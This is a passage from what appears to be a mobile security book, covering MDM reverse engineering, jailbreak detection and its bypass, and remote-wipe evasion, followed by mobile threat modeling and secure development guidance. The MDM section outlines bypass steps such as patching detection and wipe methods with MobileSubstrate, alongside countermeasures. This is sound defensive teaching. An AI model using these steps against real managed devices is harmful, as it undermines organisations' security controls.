web application world in which applications written in high-level programming 
languages are hosted at server-side, the mobile ecosystem follows a client-server model 
in which these decompilable apps are deployed on client-accessible devices, which are 
out of the back-end server’s control.

An important thing to remember when using Android code obfuscation: keep Android Activity, Service, 
Receiver, and Content Provider classes as light as possible and offload most application logic to utility 
Java classes; these components are directly invoked by the Android system, so class files implementing 
these components cannot be obfuscated.

A well-programmed Android application that properly uses code obfuscation can 
make it challenging to reverse engineer Android applications. Figure 7-4 depicts 
obfuscated code from the Android MDM client for GOOD for Enterprise. This is an 
example of a well-obfuscated application.

iOS Reverse Engineering
On the iOS platform, mobile applications are compiled into more low-level machine 
codes and binaries. iOS applications are written in Objective-C, which is a hybrid 
language that uses the primitives of the C programming language along with message 
passing. The message passing functionality of this language is the key feature that 
separates it from the traditional C language and, at the same time, provides the avenue 
for data and logic leakage that leads to more sophisticated activities such as application 
debugging and decompilation.

Class-dump, class-dump-x, and class-dump-z are Objective-C interface extractors 
that can aid in reverse engineering iOS applications (see cocoadev.com/wiki/ClassDump 
and code.google.com/p/networkpx/wiki/class_dump_z, respectively). These extractors 
scan the application binary of iOS applications to extract interface names that are declared 
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in application interface declarations. This, however, does not return or provide any sort of 
insight into the implementation of these interfaces; it merely provides the debugger with 
the ability to correlate and understand application logic and functioning. For example, 
Figure 7-5 shows a dump of interface declaration information from an MDM app that 
could be of interest to an attacker.

Although interface extractors do not provide implementation information, these 
tools provide a wealth of information that enables an attacker to patch critical functions 
in an application, which he or she can then use to perform control-bypass attacks on 
MDM solutions.

iOS Anti-Decompilation
Just as in the Android ecosystem, logic-bypass attacks can be thwarted to an extent on 
iOS by raising the bar and using a well-programmed and hardened iOS application. An 
extensive overview of iOS secure coding guidelines is beyond the scope of this chapter 
(see Chapter 8). However, hardened iOS applications that are more resilient to reverse 
engineering attacks can be developed by following these recommendations that are 
particularly relevant to MDM:

• Move critical application logic to more low-level Simula-style programming languages 
such as C++ that does not use message passing. A skilled attacker can inject into iOS 
processes and patch Objective-C application implementations, as the target of a 

Figure 7-4 Android code obfuscation in the GOOD for Enterprise MDM client
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message passed in an Objective-C application is resolved at runtime. An 
attacker can develop dynamic libraries that are loaded into memory and patch 
method calls invoked via message passing in Objective-C. Moving critical 
functionalities into C++ prevents an attacker’s ability to patch Objective-C 
method calls easily and dynamically. Though C/C++ can also be patched using 
libraries that load or get invoked before an application execution, it is much 
harder to achieve and certainly raises the bar and provides extra levels of 
security that Objective-C cannot provide.

• Ensure more generic naming conventions for publicly exposed interfaces and 
declarations. By changing the method naming convention and implementing 
functionality in a transaction processing pattern, an application developer can 
make application logic-bypass more diffi cult. By doing so, an attacker not only 
has to guess the implementation but also has to patch application logic without 
affecting the app’s core functioning.

• Ensure that the application binaries are generated by enabling symbol table stripping 
under the Deployment option in XCode to ensure code obfuscation before publicly 
releasing an application.

Figure 7-5 iOS class dump from an MDM app
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• Emphasize creating dynamic UI components for handling sensitive data and user input 
to avoid swizzling attacks that target data from global variables and components.

• Ensure that all sensitive application logic is confi ned to private methods, protocols, 
or anonymous methods. Avoiding forward declarations of sensitive functions 
prevents easy method swizzling attacks using Mobile Substrate and class-
dump.

• Use anti-tamper techniques and solutions that inject guards and protections in the 
application. These solutions can be used to detect application tampering or 
reverse engineering attempts. There are multiple anti-tampering solutions in 
the market today. One of the notable solutions reviewed by the authors in the 
recent past was EnsureIT for Apple iOS by Arxan Technologies (www.arxan
.com/products/mobile/ensureit-for-apple-ios/), which can be used to protect 
iOS apps against disassembly, reverse engineering, and debugging.

Arxan also makes anti-reversing solutions for Android, as well as desktop applications written in Java 
and .NET.

Although these techniques can be used to harden iOS applications, they are still not 
foolproof and can be circumvented by highly skilled attackers with appropriate reverse 
engineering skills. These types of dynamic attacks on iOS can only be performed on 
jailbroken devices, however—hence, the ability to detect jailbreaks is a vital feature for 
MDM applications to ensure device security and integrity as well as their own solution. 
Let’s talk about that next.

DETECTING JAILBREAKS
Jailbreak detection, a feature offered by MDM solutions and mobile security products, 
enables you to detect device breaches. This feature is often offered as extra functionality 
by MDM vendors to augment the MDM framework and/or MDM features provided by 
the mobile platforms. With the exception of Apple iOS, which supported this capability 
as part of its platform features until iOS 4.2, most mobile platforms do not provide 
jailbreak detection as an MDM capability.

MDM vendor solutions leverage client-side MDM applications (apps) to perform 
jailbreak detection on iOS devices. The effectiveness and implementation of jailbreak 
detection varies widely across solutions and vendors and depends on their understanding 
of device jailbreak mechanisms. For example, most end-users associate device jailbreak 
with the ability to install applications outside of Apple’s App Store. Hence, most MDM 
solutions implement jailbreak detection by simply looking for alternate app stores and 
external applications on a device. Cydia (cydia.saurik.com) is the most popular Apple 
App Store alternative installed on jailbroken devices because most jailbreak tools in the 
market load Cydia onto the iOS device after jailbreaking.
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Jailbreak Detection Bypass
MDM solutions and mobile security products mostly perform jailbreak detection by 
checking the device for the presence of Cydia or other components (mechanisms 
include but are not limited to trying file writes using fopen(), checking for su, 
writing out of the “mobile” user space, and so on). Checking for Cydia is generally 
implemented by means of file handler APIs that look for specific files and directories 
on the device’s file systems. However, as mentioned in the previous section, an 
attacker on a jailbroken device can inject into MDM processes and patch application 
logic that scans the file system for these specific files and directories. Therefore, 
solutions relying on this logic are susceptible to jailbreak detection–bypass attacks. 
Some widely used device-centric MDM solutions are susceptible to this attack. This 
issue is further exacerbated by the fact that device jailbreak can be performed without 
installing Cydia or other apps on the device. An attacker can bypass this type of 
jailbreak detection by performing the following steps:

 1. Scan application binaries for giveaway interface names such as 
“isDeviceJailBroken” and “checkDeviceSecurity.”

 2. Dynamically patch these method implementations using MobileSubstrate.

The details of jailbreak detection bypass, binary decryption, and application patching are beyond the 
scope of this chapter; Chapters 3 and 4 contain further details on these attacks.

In addition, tethered device jailbreaks and jailbreak tools that do not install Cydia on 
a device can easily bypass this type of jailbreak detection. MDM solutions fixed this flaw 
by checking for more low-level jailbreak symptoms such as a su binary, apt-get package, 
and file-write permission on-device. However, these features are still implemented by 
means of method calls and platform features that can be circumvented by skilled 
attackers.

Jailbreak Detection Bypass Countermeasures
A skilled developer can increase the complexity of jailbreak detection–bypass attacks by 
implementing these countermeasures:

• Performing multipoint check at multiple locations in the app code and at 
multiple instances, based on use case scenarios

• Moving jailbreak detection logic into C++

• Performing compensatory controls and actions on the server rather than on-
device logic

• Implement anti-debugging and/or code-obfuscation tools/techniques (see 
previous discussion of anti-tampering tools like Arxan)
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Despite the manifest flaws in the current approaches, we believe that jailbreak 
detection is a highly desirable feature for an MDM solution; it ensures both its own as 
well as the platform’s security and integrity. However, jailbreak detection is not foolproof 
without hardware or trusted computing platform support and, hence, has a long way to 
go before it can assertively provide the level of assurance needed. Device jailbreak and 
jailbreak detection is a cat-and mouse game that has to evolve over time. MDM vendors 
must continuously improvise to ensure that it isn’t feasible for an attacker to bypass their 
application’s jailbreak detection and application logic–bypass detection capabilities.

REMOTE WIPE AND LOCK
So far we have discussed MDM provisioning, enforcement, and bypass scenarios 
associated with both MDM solutions and frameworks. In this section, we explore some 
of the most commonly adopted MDM security actions, which are mostly triggered as a 
response to security or compliance alerts or events.

Remote Wipe and Remote Lock are two of the widely used features in an MDM 
solution. MDM administrators invoke these actions in response to device loss, device 
breach, or device noncompliance scenarios to ensure the security and integrity of the 
device and associated data. However, as mentioned earlier in “Bypassing MDM” and as 
depicted in Figure 7-2, most MDM solutions architect these actions as server-side 
commands issued to the client device in response to violations detected by the server. 
Such implementations are also susceptible to MDM control-bypass attacks, as with other 
MDM capabilities and features. Any attacker with the ability to intercept the Remote 
Wipe or Remote Lock command from the server can bypass this administrative control 
on a mobile device. This can be done in multiple ways, including:

• Putting the device in airplane mode to prevent server commands from 
reaching the device.

• Patching the MDM app so it won’t execute the server commands 
and provide false responses. For example, patch method calls like 
- (void)wipeDeviceFileSystem;, as shown in Figure 7-5.

Most MDM solutions, including MobileIron and GOOD for Enterprise, are susceptible 
to this type of attack. However, most new releases of MDM solutions incorporate client-
side decision-making logic that can be used to wipe or lock devices without having to 
wait or rely on a back-end server to issue the command.

SUMMARY
With the penetration of mobile devices into enterprise environments, mobile device 
management is a key capability that every corporation must have. MDM solutions and 
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capabilities are still evolving and have a long way to go before we can attain the level of 
assurance needed from these products.

MDM solutions have come a long way toward providing more advanced and 
hardened products. However, the MDM solution space is still evolving and maturing 
with more support from platform and hardware along with more tightened and coupled 
integration with platform functionalities. The large and rapidly evolving mobile 
threatscape calls for improved MDM capabilities and frameworks. An ideal MDM 
solution for the future would be one that encompasses both device and data protection 
at the same time, that is, a hybrid MDM model.
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So far in this book, we’ve talked about mobile security from many different 
perspectives: mobile network operator, device manufacturer, corporate IT, and end-
user. This chapter takes the perspective of another very important player in the 

mobile ecosystem: application developer.
Mobile application developers are perhaps the most important stakeholder in the 

mobile experience. After all, they control the interface through which end-users interact 
with the mobile device and network; it’s the apps, man.

From simple single-player games to complex, multifunctional social networking 
apps, application developers channel the security of the end-user experience into almost 
all aspects of mobile. The security of the applications they create is constrained only by 
the built-in security features of the mobile platform and the possibility of device theft. 
Mobile platforms contain built-in cryptographic controls that can now be used because 
power and battery life limitations are no longer a concern. This chapter explores the 
different dimensions of mobile developer security, including:

• Mobile app Threat Modeling

• Secure mobile development guidance

Our overall goal with this chapter is to educate mobile app developers on the best 
choices to make when designing secure mobile applications. Secondarily, application 
security professionals and end-users themselves may benefit from the discussions in this 
chapter as they will better understand the decisions that developers make. Read on, and 
be more confident in the next download you make from the app store!

MOBILE APP THREAT MODELING
Threat Modeling is a pencil-and-paper exercise of identifying security risks. Threat 
Modeling helps developers identify the most critical risks to an application, which allows 
the developer to focus the investment of development effort on features and/or controls 
to mitigate those risks. Security professionals view Threat Modeling as instrumental to 
secure software development because without it, security becomes endless and aimless 
bug squashing without a risk-based understanding of priority and impact.

A number of Threat Modeling methodologies are in use today. They share common 
approaches and features but differ somewhat in terminology. We’ve listed links to 
information about some of the more popular ones here:

• Microsoft Threat Modeling The fi rst to receive book-length treatment in 1999 
and still one of the most popular approaches (msdn.microsoft.com/en-us/
library/ff648644.aspx)

• Trike Aligned more with traditional risk management philosophy 
(octotrike.org)

• OCTAVE Operationally Critical Threat, Asset, and Vulnerability Evaluation 
(cert.org/octave/)
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• Cigital Threat Modeling Cigital’s Threat Modeling anchor’s the analysis 
around software architecture (cigital.com/justice-league-blog/category/threat-
modeling-2/)

• P.A.S.T.A Process for Attack Simulation and Threat Analysis (owasp.org/
images/a/aa/AppSecEU2012_PASTA.pdf)

Nearly all of these methodologies follow a similar approach: diagram the application, 
understand where information assets flow, derive and document risks to the assets and 
security controls, and then rank the risks based on probability and impact. The highest-
scored risks are then scheduled for remediation and verification testing during the 
remainder of the development process. Threat Modeling is such a critical component of 
application security, what does it tell us about the security challenges of a mobile 
application?

Let’s take an example we see often in our consulting work: adding a mobile client 
onto an existing web application. This scenario is very common for organizations with 
an existing web presence that are seeking to capitalize on the mobile phenomenon. It 
provides lessons that can be applied to designing mobile Threat Models for any mobile 
application. Figure 8-1 shows our example application, which supports end users and 
Customer Support Representatives (CSRs) through a browser interface, and has other 
connections to RESTful services in its middle tier. The new portions of the system, being 
constructed to support mobile, are depicted in the lower left and middle of the 
diagram.

The new mobile functionality aims to provide access for the same users. The mobile 
application supports only a subset of the web application’s functions; for example, rate 
comparison and cross-account transfer are omitted. However, the functions provided by 
the mobile application will have the advantage of being done in a crisp, simple, and 
responsive format.

The main question for this “adapted to mobile” app is: how do existing threats change 
when a mobile application is added? When we model threats, we start by describing a 
threat’s capabilities, level of access, and skills. Let’s apply a few Threat Modeling 
techniques to identify new threats to consider. Building on the risk model we started in 
Chapter 1, we’ll

• Enumerate the threats

• Outline what assets mobile devices possess

• Discuss how the mobile tech stacks create opportunities for threats

Threats
Script kiddies and hackers who endanger our web apps are also threats for the mobile 
app. These threats can still be observed in or interrupt device-to-service interactions. In 
addition to the tried-and-true web application hacking tools, network-based threats have 
additional resources with which they attack mobile device users. First, mobile users are 
just that: mobile. Many leave Bluetooth and WiFi radios enabled as they go about their 
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day. Thus, a user’s device may leap at the chance to connect to a malicious base station 
as he or she heads to work, walks through a mall, or stops for a coffee. Threats can attack 
those mobile devices without 802.11 or Bluetooth enabled as well. Widely available 
automated hacker tools decrease the difficulty of these attacks.

AppSec professionals can inject code in a mobile browser, creating a man-in-the-
browser (MiTB) threat, just as they can with web apps. This threat is joined by the malicious 
app threat, which has direct access to the underlying OS and inter-process communication. 
Example after example shows the relative ease with which both malware and Trojan 
apps make it into public or corporate app stores for download by the unsuspecting.

Highly skilled security researchers and organized crime professionals can build on 
the interposition techniques that less-capable script kiddies use by taking their attack to 
a mobile device’s network- and radio-based attack surfaces. Carriers now sell consumer-
grade base stations (or femtocells). This is particularly scary because mobile carriers’ 
security models rely on keeping network integrity intact. Application developers also 
assume network integrity. These highly skilled threats can connect to a user’s femtocell 
and observe all of the victim’s traffic—including that negotiated over SSL (as you saw in 
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Figure 8-1 An example Web Application Threat Model that has added a mobile client
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more detail in Chapter 2). Yet, despite the prevalence of these femtocells, we rarely see 
the application-level security controls necessary to thwart this class of threat. That’s 
because security researchers use these attacks as a ticket to security conferences, not to 
attack end users. Organized crime is unlikely to use malicious femtocells unless it can 
(1) remotely exploit a large number of cells in highly populated areas or (2) find a 
particularly high-value target of choice worth a geographically specific attack.

Up to this point, the threats we’ve covered are the same ones we’ve come to expect 
with web applications. Mobile applications must address all of the security issues faced 
by web applications plus those introduced by the mobile device. Mobile devices add 
three other classes of threat that endanger their security:

• The phone’s user, as he or she may

• Download your app to reverse-engineer or debug it

• Jailbreak the device, subverting controls on which you depend

• Thieves, with access to the device’s UI and physical interfaces (USB and so on)

• Other device “owners,” whose capabilities vary with ownership role

Wait, the device’s owner is a threat to their own device? But this is my personal 
device. Let’s explore these threats further.

Users as Threats
When thinking about users as threats, application developers must consider what risks 
a user’s jailbroken phone might impose on their application or the mobile services it 
interacts with. Application developers must also consider how reversing the application’s 
binary might pose a risk to their app. For instance, does the application binary contain a 
single symmetric key shared by all users?

When teams add new functionality to a system, or when they start a new development 
effort entirely, they commonly create user stories or detailed use cases and requirements. 
The first (and easiest) way to identify new threats to the system is to mine user stories 
and use cases for their users. Then ask these questions:

• What evil or insidious behaviors could a user engage in?

• What obnoxious or stupid behaviors could a user cause trouble with?

Device users possess the credentials to their device (including any UI, “app store,” or 
other username/password tuples) and likely have access to carrier credentials or tokens. 
Access includes physical access to the device and use of both of its applications and 
browsers. This threat can install applications, sync, and explore the device’s contents 
with their computer. Of course, this threat has access to the device’s SDK and simulators, 
just as any developer does. This threat, depicted in Figure 8-1, is labeled 1.
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Other Device “Owners” as Threats
Unlike one’s home PC or laptop, a mobile device includes other parties that hold an 
ownership stake in addition to the device’s end user. Other stakeholders are the entities 
involved in underlying application behavior or transactions, including

• The app store account owner, who may or may not be the current device user

• The application publisher, which provides the user experience and access to 
mobile services

• The mobile carrier, which could be AT&T, Verizon, Sprint, among others

• The device manufacturer, which could be Samsung, HTC, Google, Apple, 
or so on

• The app store curator, which could be Apple, Google, Amazon (for Kindle), 
or another entity (your company, the department of defense, and so on)

• The company’s IT department that administers the device

Stakeholders crowd into mobile devices competing for influence and control far more 
than on traditional operating system platforms. These stakeholders operate applications 
and underlying software, rely on credentials, and interact with mobile services, sometimes 
invisibly, all while the mobile device owner uses the device.

Each of these stakeholders possesses different capabilities. Their access to attack 
surfaces extends beyond the mobile app and network into the device and application 
lifecycle. For example, mobile carriers and handset manufacturers place applications on 
the device. They may modify or customize the device’s operating system. They may 
even place code beneath the OS in firmware. App store curators control a large portion 
of the application lifecycle: from assurance and acceptance, to packaging and deployment, 
to update and removal.

Where stakeholder goals differ, the opportunity arises for one “owner” to take an 
action that another considers a violation of their security or privacy (like collecting and 
storing personal information). A stakeholder may merely act in its own interest (and 
with the best intentions for the user) but still be perceived as a threat to others. Although 
nation states have rattled sabers accusing each other’s manufacturers, carriers, and 
infrastructure operators of being up to no good, we’ll ignore that element of the threat 
landscape for now.

The key to predicting and defending against a threat’s unwanted intentions lies in 
understanding how each views and values the mobile device’s assets.

Assets
Each mobile device stakeholder seeks to protect the value of its respective assets. For 
instance, end-users may value their privacy while the application publisher and carrier 
want to collect and use personal and usage information. Likewise carriers, app store 
curators, and application publishers all have different notions of how long device 
identifiers should live, whether they’re permanent or can be rotated, and whether they 
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should be kept secret. Disagreement about the secrecy of device identifiers frequently 
created security vulnerabilities in the first years of mobile app development (this issue 
drove Apple to introduce an application-specific unique identifier API).

When evaluating mobile assets (such as identifiers, file-based data stores, credentials, 
user data, and so forth), carefully consider how other stakeholders may misuse or 
outright exploit their access to the classes of assets available to them. The typical data 
classifications—public, sensitive, secret, and highly confidential—won’t be as helpful for 
mobile data as they are in classifying and protecting server-side data. Instead label data 
according to its owner’s intents:

• Offl ine access Data the app must make available offl ine. Once labeled as 
offl ine, this data can be annotated with the typical data sensitivity categories 
that govern entitlements. For mobile devices, app designers must decide which 
controls replace web-based controls for offl ine access.

• Personal data Data such as contacts, pictures, call data, voicemails, and 
similar information. Compared to web apps, cell phones provide threats with 
increased access to personal data because mobile apps often request (and are 
granted) permission to access this information—by the user! Additionally, 
mobile operating systems provide easy APIs for accessing this personal data, 
as compared to web-based applications.

• Sensor-based data Mobile devices are bristling with sensors that bridge the 
physical and digital worlds that add another class of personal data because 
of API access and permissions. This data includes location data (through GPS 
and tower telemetry) as well as camera and microphone data. Although web 
browsers may grant access to some of this hardware, it’s usually not done 
without user interaction or exploit.

• Identity data Often overlooked, a mobile device contains a wealth of 
information serving as proxy for its user. App publishers’ reluctance to force 
users to authenticate using small virtual keyboards with the same frequency as 
web-based apps often means that a stolen (or compromised) device proxies for 
its end-users’ identities. Identity data includes

• Persisted credentials

• Bearer tokens (such as in apps supporting OAuth)

• Usernames

• Device-, user-, or application-specifi c UUIDs

Why is a username so interesting? In a web application, the username would be 
useless for impersonating a user without having the password (or other credentials). 
However, many web-based systems use mobile devices as the mechanism for “out-of-
band” password reset, and a user often possesses a mobile application for the very same 
website that uses the device for password reset. This means a threat who has access to 
the device can survey the device for the username (a bank account, for instance) and then 
initiate a mobile-browser-based session completing the password-reset workflow.
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When Threat Modeling a mobile application, make a list of the assets, classify them 
as we’ve done here, and then iterate through the stakeholders and brainstorm how each 
stakeholder might use assets in a manner that would be considered a security or privacy 
breach by another. The security controls designed using this “360 degree” view of assets 
and stakeholders are more comprehensive and robust.

Finishing and Using the Threat Model
We’ve addressed many of the salient differentiators of mobile; however, Threat Modeling 
does not end here. What do you need to do next? The above-referenced Threat Modeling 
methodologies provide great starting points, but here is a thumbnail sketch of some key 
steps to finalizing and leveraging your shiny new mobile Threat Model:

• Derive the attack surface and potential attacks

• Prioritize attacks by likelihood and impact of successful execution

• Implement mitigations to reduce the risk of prioritized successful attacks

• Use the list of attacks to drive downstream activities in the Secure Software 
Development Lifecycle (SSDLC).

SECURE MOBILE DEVELOPMENT GUIDANCE
So far in this chapter, we’ve discussed Threat Modeling mobile applications at a high 
level to get you acquainted with one of the most important first steps in securing them. 
Threat Modeling starts you on the journey toward securing your mobile application by 
showing who and what the application must defend against. You also need proactive 
development guidance to implement the mitigations for potential attacks identified by 
Threat Modeling. This section provides you with secure mobile development guidance, 
with only brief departures into code examples (in-depth code-level coverage would 
probably require its own book). Our main goal is to help iOS and Android application 
developers understand how to avoid the many problems and pitfalls we’ve discussed 
throughout this book.

In fact, you might view this information as simply a different perspective on the 
many countermeasures we’ve already talked about throughout this book. There is some 
overlap, but we’ve tried to focus the narrative here from the mobile developer’s point of 
view and make the guidance proactive rather than reactive.

Preparation
Before we jump into enumerating specific guidelines for secure mobile development, it’s 
important to remind our readers of some sage advice (and we paraphrase): an ounce of 
preparation is worth a metric ton of post-release code fixes. Before you write your first 
line of code, here are some recognized practices to consider.
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Threat Modeling—Again
The first important consideration we just discussed at length: Threat Modeling. No set of 
generic secure development guidance is ever going to cover all the possible variations in 
scenarios and alternative design/coding approaches. Remember the Threat Model shows 
you that your mobile application has two main components that must be written securely: 
the mobile client and the mobile services on the Web that support it. Our proactive 
guidance addresses threats and attacks for both the mobile client and mobile services.

Native APIs or Mobile Web?
One of the early trends in mobile was the extreme popularity of applications written for 
the native mobile platforms, such as iOS and Android. These native applications took 
full advantage of the platform’s features and had a user interface that was consistent 
with the platform. This was driven largely by Apple’s initial walled-garden approach to 
their App Store and was followed closely by Google Play, Amazon’s Marketplace for its 
Kindle platform, and others. Some developers jumped on the native API bandwagon to 
get their applications in these app stores and to match the look and feel of market-leading 
smartphones and tablets. Other developers built “mobile web” applications that used 
the same technologies as their web applications, but were optimized for a smaller form 
factor and also allowed the applications to work on the different mobile platforms. Today, 
we have cross-platform mobile development frameworks that blend the differences 
between these two types of mobile applications: “native look and feel” and “write once, 
run anywhere.” The security guidance for any application depends on what type of 
application you have. The security guidance in this section is heavily weighted toward 
native mobile applications because this application type represents the bulk of the 
differences between web applications and mobile applications.

Native APIs or Cross-Platform Development Framework
More practically, given the mobile app store craze, we’re probably tilting at windmills 
trying to encourage developers to develop on mobile web versus native mobile. Or are 
we? We’ve encountered more than a few development shops that are tired of having 
their development effort effectively doubled or even quadrupled when it comes to 
mobile just so they can play to the trendy OSes: iOS and Android for sure, plus Windows 
Phone and BlackBerry for ambitious teams. Cross-platform development frameworks 
are not a panacea either, though, because they introduce yet another layer of software 
that can have its own set of vulnerabilities (either within the framework or in how the 
framework must be used). Evolving technologies like HTML5 are probably the best bet 
for cross-platform development, as they offer an open standards–based, multiplatform 
development framework that is almost certainly going to be supported natively by 
mobile OSes.

The debate will rage on, of course, and these development frameworks will evolve 
and mature. We encourage you to think about the path you choose, and the total cost of 
security to your organization as well as the application.
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Device and Runtime Environment Integrity
Another “preparatory” consideration is what, if anything, can the application do to 
ensure the integrity of its runtime environment? Our mobile client Threat Model shows 
that a threat can tamper with the runtime environment, including the application code 
itself. How can you validate and ensure that the runtime environment is functioning 
correctly? These considerations lie mostly outside of the application developer’s control, 
but they must be considered when “designing in” security. The security design for the 
application must leverage what the application can trust from the runtime environment, 
and we believe that such assurances are best done outside of the application code.

This is where Mobile Device Management (MDM) comes in. The native MDM 
framework or third-party MDM software can provide greater assurances that the 
surrounding device and OS are not compromised, permitting your application to more 
confidently use memory, the file system, network communications, inter-process 
communications, and so on, without undue risk from eavesdropping or hijacking. Of 
course, no solution is perfect, and we emphasize that MDM provides “greater assurances” 
but not absolute certainty. Nevertheless, we recommend MDM for corporate IT shops 
(that may have sufficient control over end-user devices to deploy it successfully) as 
MDM products and technologies have improved to the point where the risk mitigation 
is worthwhile.

Of course, for developers distributing consumer applications to the public, where no 
such control over the end-user device exists, relying on MDM is not practical. Instead, 
consider application integrity protection, including technologies like anti-debugging 
and code obfuscation. Because most mobile app assessment approaches involve 
disassembly of the app to some degree, by making this harder, you provide a key obstacle 
to would-be attackers.

Ultimately, there is no airtight solution to ensure and/or check the integrity of the 
application or its execution environment. Once the device is jailbroken or rooted, all bets 
are off. The environment can lie all day about what’s happening, and the application will 
be none the wiser since it gets all its input from the runtime. Protections like MDM, anti-
debugging, and code obfuscation can provide at least rudimentary assurances if they are 
external to the application and they can be strengthened independently.

There’s also Mobile Application Management, which covers provisioning and 
managing of apps, but stops short of managing the entire device as MDM does. Some 
MAM solutions include private app stores, which can provide closed-loop provisioning, 
patching, uninstallation, monitoring, and remote data wipe. These are attractive features 
for developers, but remember that simply having a channel through which to push 
patches does not guarantee timely or high-quality delivery of the same—that remains 
the developer’s responsibility.

We won’t go into further detail here on either MDM, MAM, or application integrity 
protection, since Chapter 7 covered those topics in greater detail. Check it out!

Maintaining/Patching Your App
No developer security checklist would be complete without discussing security patches. 
It’s widely recognized today that one of the most effective technology risk mitigation 
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mechanisms is patching. If anything is certain, it’s that your application will be found to 
have bugs after its release into the wild. Without a practical strategy to update it in the 
field, you are at the mercy of any hacker who stumbles onto it out there on the Internet.

Fortunately, the mobile ecosystem has evolved an effective channel for maintaining 
your application and pushing security patches: the app store. Use this channel early and 
often. In fact, changing the anti-debugging and code obfuscation mechanisms on every 
update helps deter reverse engineering of your application.

Secure Mobile Application Guidelines
We aren’t naturally inclined to “top 10”–type lists because they can shortcut more careful 
thinking, but we’re also aware that developers are busy creatures who want things in bite-
sized doses. So we’ve presented our guidance in a framework that maps to our experiences, 
helping mobile developers step through mobile app security design sequentially, from 
concept to coding, with key security checkpoints along the way. This framework was 
developed from years of working with mobile developers both as consultants and colleagues 
at organizations large and small. Our framework looks like this:

Category Security Considerations

Traditional web 
application security 
(plus)

Secure mobile services with web application security
Creating a walled garden for mobile access
Reducing session timeout for mobile sessions
Using a secure JavaScript subset
Masking or tokenizing sensitive data

Storing sensitive data 
on the device

Avoid it!
Mobile device sensitive data
Security hardware
Secure platform storage
Mobile databases
File system protections

Authenticating to 
mobile services

Authorization and authentication protocols
Always generate your own identifi ers
Implement a timeout for cached credentials

Secure 
communications

Use only SSL/TLS
Validate server certifi cates
Use certifi cate pinning for certifi cate validation

WebView interaction WebView cache
WebView and JavaScript bridges

Preventing 
information leakage 

Clipboard
Logs
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Category Security Considerations

Additional iOS 
platform-specifi c 
guidelines

Traditional C application secure coding guidelines
Keyboard cache
Enable full ASLR using PIE
Custom URI schemes guidelines
Protect the stack
Enable automatic reference counting
Disable caching of application screenshots

Additional Android 
platform-specifi c 
guidelines

Traditional C++/Java application secure coding guidelines
Ensure ASLR is enabled
Secure intent usage guidelines
Secure NFC guidelines

Let’s look at the details for the specific guidance in each of these categories. We won’t 
cover every one of the points just mentioned; instead, we’ve selected the most important 
“security rules of the road” for developers writing new mobile apps.

Traditional Web Application Security (Plus)
Mobile services are built using the same technology as your current web applications. 
All of the security practices you use for your web applications, such as proper session 
management, distributing user input, proper output encoding, and so on, are required 
for mobile services. There are some additional concerns and a few twists for the mobile 
portions of the application, however.

Secure Mobile Services with Web Application Security Mobile web applications and/or 
mobile services should follow security guidance for traditional web applications and 
web services. Mobile services that support native mobile applications are very similar to 
the service interfaces you choose to support your Rich Internet Application clients. 
Whether you are writing a mobile web application or native application using RESTful 
services with JSON objects or XML RPC, security guidelines such as those from OWASP 
or the internal standards within your company must be rigorously applied. Chapter 6 
has some further details on specific attacks and countermeasures here.

Create a Walled Garden for Mobile Access When an existing application is extended for 
mobile access, the “legacy” parts of the application must ensure that mobile devices 
access the new mobile interface and services. The legacy front end must parse the user-
agent string and redirect traffic consistently to the mobile interfaces/services; otherwise, 
the legacy server-side content may be more aggressively cached by mobile browsers (by 
design, to compensate for low-bandwidth, high-latency over-the-air connections).

Reduce Session Timeout for Mobile Devices Mobile devices are at greater risk of MiTM 
attacks because they have several radio interfaces. Mobile devices are also at a greater 
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risk of the device being stolen. Therefore, the sessions for mobile devices should be 
shorter than for standard PC sessions.

Use a Secure JavaScript Subset A secure JavaScript subset is exactly that—it’s JavaScript 
with the dangerous functions and other language constructs removed, such as eval(), 
the use of square brackets, and the this keyword. The secure subset also includes 
language restrictions to facilitate static code analysis of JavaScript. For example, the with 
statement is removed. You can choose from several secure JavaScript subsets:

Resource Link

ADSafe adsafe.org

dojox.secure dojotoolkit.org/reference-guide/1.8/dojox/secure.html

Caja code.google.com/p/google-caja/

Microsoft Web Sandbox websandbox.livelabs.com/

Mask or Tokenize Sensitive Data The more aggressive data caching and increased security 
risk of sensitive data on mobile devices means that the mobile services must be much 
more conscious to not send such data to the mobile device. Two good techniques to build 
into the mobile services are data masking or tokenization. Both mechanisms involve 
sending an alternate representation of the sensitive data to the mobile device. The masked 
data or token is generally smaller than the original value, so there’s an additional benefit 
of reducing the amount of bandwidth consumed by the application.

Storing Sensitive Data on the Device
As a first rule of thumb for storing secrets on mobile devices: don’t do it!

If you’re not convinced of the high risks to sensitive data on mobile devices by this 
point in the book, then you never will be. We won’t belabor the point further, other than 
to say: do a Threat Model, and follow where it leads. Resist the urge to hard code 
cryptographic keys or store them on mobile devices in properties files and data files.

If you’ve made the decision to store sensitive data on the device, you have several 
options, in order from stronger to weaker:

• Security hardware

• Secure platform storage

• Mobile databases

• File system

Let’s look at each of these separately, but first we need to look at some types of 
sensitive data that are already on the mobile device.

Mobile Device Sensitive Data Our high-level Threat Model expands the meaning of 
sensitive data when we look at the mobile client. An application that produces or makes 
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use of these types of data may need to provide additional protection. For example, if an 
application tracks when and where the user accesses a specific application, that 
combination of data could be considered sensitive.

• Personal data Data such as contacts, pictures, call data, voicemails, and 
similar information.

• Sensor-based data Mobile devices are bristling with sensors that bridge the 
physical and digital worlds bringing you delightful experiences. This includes 
location data from the GPS as well as camera and microphone data.

• Identity data Identity data includes

• Persisted credentials

• Bearer tokens (such as in apps supporting OAuth)

• Usernames

• Device-, user-, or application-specifi c UUIDs

Security Hardware Mobile applications that process payment information use dedicated, 
tamper-resistant security hardware like a Secure Element (SE) microprocessor. SEs are 
accessed using existing smartcard standards, such as ISO 7816 (contact) and ISO 14443 
(contactless). Implemented properly, it is difficult to attack. These are not trivial scenarios 
for developers to code. Chapter 9 outlines a simple example of an SE used to validate a 
PIN for a virtual wallet, using application protocol data unit (APDU) commands that 
include the PIN in the data field, which is sent to a particular applet on the SE. The applet 
executing within the Java Card runtime environment on the SE processes the APDU 
command in the Applet.process(APDU) method. If the PIN is successfully verified, 
then the applet should return a status word with the value of 0x9000 as part of the 
response APDU. Otherwise, the applet should increment its PIN try counter (again 
stored in the SE). If the PIN try counter exceeds a certain threshold, such as 5 or 10 
attempts, then the applet should lock itself in order to prevent brute-force attempts. Any 
future attempts to access the applet should always fail.

Unfortunately, general-purpose applications do not have access to the SE, and you’ll 
need to use the other techniques in this section to secure sensitive data. See Chapter 9 for 
more information on the SE.

Secure Platform Storage On iOS, Apple provides the keychain to securely handle passwords 
and other short but sensitive bits of data, such as keys and login tokens. The keychain is 
